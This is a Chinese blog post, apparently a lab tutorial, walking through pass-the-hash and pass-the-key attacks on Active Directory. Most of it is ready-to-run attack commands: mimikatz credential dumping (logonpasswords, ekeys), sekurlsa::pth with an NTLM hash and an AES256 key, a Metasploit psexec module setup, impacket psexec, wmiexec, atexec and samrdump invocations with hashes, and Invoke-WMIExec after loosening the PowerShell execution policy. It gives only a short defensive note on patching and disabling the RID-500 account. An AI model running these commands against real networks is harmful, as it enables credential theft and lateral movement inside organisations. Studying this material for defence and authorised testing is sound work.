AD域渗透 | PTH&PTK哈希传递攻击手法

900 阅读5分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

AD域渗透的第二篇,托更一下Kerberos协议的分析文章,等到攻击手法研究明白了,再把协议分析放上来,防止像那些理解不明不白的人写的东西一样祸害人。

发生情况

在高版本的windows server下账号密码不再以明文的方式保存,转而以hash的形式储存,但是假如我们在攻击的时候抓取到了用户hash也可以直接用hash来直接通过验证,模拟用户登录

原理

由于验证原理的问题密码是在本地计算成hash,然后使用hash加密时间戳作为pre-Authention-data来上传,因此如果我们使用自己的脚本来进行验证,使用密码和使用hash是没有本质区别的;同时需要注意一个问题,上面提到的hash时密码经过RC4方式计算出来的,而在一些域中不支持RC4,使用AES key(使用sekurlsa:ekeys导出key),这时候进行攻击的时候就可以通过传递key来实现目的(Pass the Key)

补丁问题

kb2871997,禁止了本地管理员进行远程连接,从而组织了管理员权限执行wmi,psexec等危险命令,但是这个补丁不知道为什么漏了一个默认(user SID=500)本地管理员账户

因此防御PTH攻击的手段就是,打补丁,禁用500账号

攻击手段

mimikatz

PTH

0.依旧不浪费过多时间介绍如何获得hash,此处获得密码的操作在域控上实现

1.获取用户hash

privilege::debug

sekurlsa::logonpasswords

image-20220413114011141.png

2.使用pth模拟登录

sekurlsa::pth /user:de1ay /domain:de1ay.com /ntlm:161cff084477fe596a5db81874498a24

image-20220413125743806.png

之后会在原机器上谈一个cmd会话,因此这种方法需要有操作机器的远程访问权限

image-20220413130200318.png

而且需要注意这个cmd并不是对方机器的,而是本地的,只是相当于这个cmd有对方机器账号的权限,可以对对方机器的资源进行一个访问。

PTK

1.获取aes key

privilege::debug
sekurlsa::ekeys

image-20220413130919869.png

sekurlsa::pth /user:DC$ /domain:de1ay.com /aes256:6500b759281a8a6dad55137670508cb6ee16fde9ce93a40d4efb152bbc6d419a

image-20220413132219424.png

搞定,可以看到就是一个密码处的参数不一样,别的操作都是一样的

MSF&psexec

两种方法从原理来说是一样的,因为msf也是调用了psexec,但是我这个演示靶机好像对psexec不是很感冒,msf报密码错误,psexec卡死,很奇怪

条件

1.开放445端口

2.开放admin共享

msf

use exploit/windows/smb/psexec
set smbdomain de1ay.com
set rhosts 10.10.10.10
set rport 5555
set smbuser de1ay
set smbpass 00000000000000000000000000000000:161cff084477fe596a5db81874498a24
set SMBSHARE c$
run

注意端口问题,有些端口要是不好用会发生攻击成功没有返回值的情况。

image-20220413160923477.png

psexec

psexec.exe de1ay@10.10.10.10 -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24
python psexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10

上面是两个版本的操作方法,差不多,然后还有一个问题,psexec不可以再msf的shell中使用,用了msf就会直接卡死

image-20220413143701869.png

wmiexec

wmiexec.exe -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10
python wmiexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10

同样两个版本

还是一样的问题,在msf提供的shell中会有参数问题,需要有对面机器的远程连接权限

image-20220413143814803.png

同时,可以比较一下,用wmi登录拿到的是我们登录的用户的权限,而psexec拿到的是system权限

这玩意还有一个vbs版本的,但好像只能执行明文密码,而且这玩意被杀软盯的死死的

cscript //nologo wmiexec.vbs /shell 10.10.10.10 de1ay 1qaz@WSX

Powershell脚本

大部分的服务器都应该是禁止执行脚本的

但是吧,执行权限要求是本地管理员,都有本地管理员了那还不修改一下ps策略

set-ExecutionPolicy RemoteSigned 允许添加脚本

之后开始操作

Import-Module .\Invoke-WMIExec.ps1

Invoke-WMIExec -Target 10.10.10.10 -Domain de1ay.com -Username de1ay -Hash 161cff084477fe596a5db81874498a24 -Command "calc.exe" -verbose

image-20220413155404399.png

除此之外

在impacket工具包中还有几个其他的脚本可以实现

python rpcdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
用于查看rpc端点列表

python atexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10 whoami
用于执行命令

python lookupsid.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
查看用户信息

python samrdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
获取SAM

工具

gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

py版本的工具SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

exe版本的工具maaaaz/impacket-examples-windows: The great impacket example scripts compiled for Windows (github.com)

powershell工具Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash Utils (github.com)

感谢

@卿先生 域渗透-凭据传递攻击(pass the hash)完全总结 - 卿先生 - 博客园 (cnblogs.com)

@想走安全的小白 微信公众号

@counseller 提醒了更改策略的方式(1条消息) PowerShell提示此系统中禁止执行脚本的解决方法_counsellor的博客-CSDN博客_powershell 禁止运行脚本

@daiker继续感谢,协议分析写的真的很好,大家都应该去看一看daiker.gitbook.io/windows-pro…

@红日团队 感谢vulnstack2的环境,借用环境来进行演示